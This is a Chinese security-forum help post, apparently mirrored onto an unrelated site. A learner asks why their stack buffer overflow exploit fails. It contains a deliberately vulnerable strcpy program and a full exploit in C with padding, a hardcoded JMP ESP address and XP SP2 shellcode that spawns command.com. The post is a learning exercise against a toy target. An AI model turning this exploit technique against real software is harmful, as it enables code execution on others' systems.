栏目分类
热点资讯

VARA中文网

你的位置:WEST 中文站 > VARA中文网 > [求助]关于缓冲区溢出的一个解决不掉的问题-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

[求助]关于缓冲区溢出的一个解决不掉的问题-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

2025-01-04 11:06    点击次数:95

最近看了failwest大大的溢出教程,刚看了六讲,然后试着动手针对简单的漏洞程序写exploit,以加深对溢出原理的理解,途中碰到问题无法解决,特来看雪求助. 我的目标程序是这样的: #include <stdio.h> #include <string.h> int main(int argc,char *argv[]) {         char buffer[256];         strcpy(buffer,argv[1]);//很显然此处strcpy()没有检查边界,所以存在溢出漏洞。         printf("%s",buffer);         return 0; } 我的思路是这样的,系统给数组buffer[255]分配了256个字节的堆栈空间,那么我用260个字节的空间覆盖buffer[]以及EBP指针,然后接下来的一个字节就应该是EIP地址了,我把EIP地址覆盖成中文版通用的JMP ESP 地址0x7ffa4512,紧接着跟shellcode。那么目标程序就会溢出执行shellcode指令。 好了,我的exploit程序是这样的: #include <stdio.h> #include <string.h> #include <windows.h> int main() {         printf("Stack Overflow Exploit\n");         char exploit[500] = "E:\\exploit\\target\\Debug\\target.exe ";         char overflow[] =                         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAA";         char jmp_esp[]="\x12\x45\xFA\x7F";                 char shellcode[] =         "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"         "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"         "\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"         "\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"         "\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"         "\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"         "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"         "\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";         strcat(exploit,overflow);         strcat(exploit,jmp_esp);         strcat(exploit,shellcode);         printf("Exploiting...\n");         WinExec(exploit ,0);         printf("Exploitation Finished\n");         return 0; } 为了试验,我特地用262个字节填充,并把            //strcat(exploit,jmp_esp);         //strcat(exploit,shellcode); 给注释掉,就是让程序执行"target.exe 262个A",报错如图: 看到00004141,说明EIP中两个字节被AA覆盖证实前边的思路是对的。 然后我把两行注释去掉,让exploit完整执行,结果如图: exploit确没有执行shellcode的指令。 关于这个shellcode作用是个打开DOS命令行的,我在本机验证可行的,如图: 这个shellcode是在xpsp2环境下写的,不是通用的shellcode。 原型是: #include<windows.h> int main() { LoadLibrary("msvcrt.dll"); system("command.com"); return 0; } LoadLibrary() system()地址都是xpsp2特有的。 这个试验我始终不能成功,感觉思路应该是对的,程序也应该没什么问题,但就是找不出错在哪里,请各位大大帮忙,让我弄清楚错误的原因。 [培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法 上传的附件: 1.jpg (88.72kb,179次下载) 2.jpg (127.93kb,178次下载) 3.jpg (113.23kb,177次下载)

Powered by WEST 中文站 @2013-2022 RSS地图 HTML地图

Copyright Powered by365站群 © 2013-2024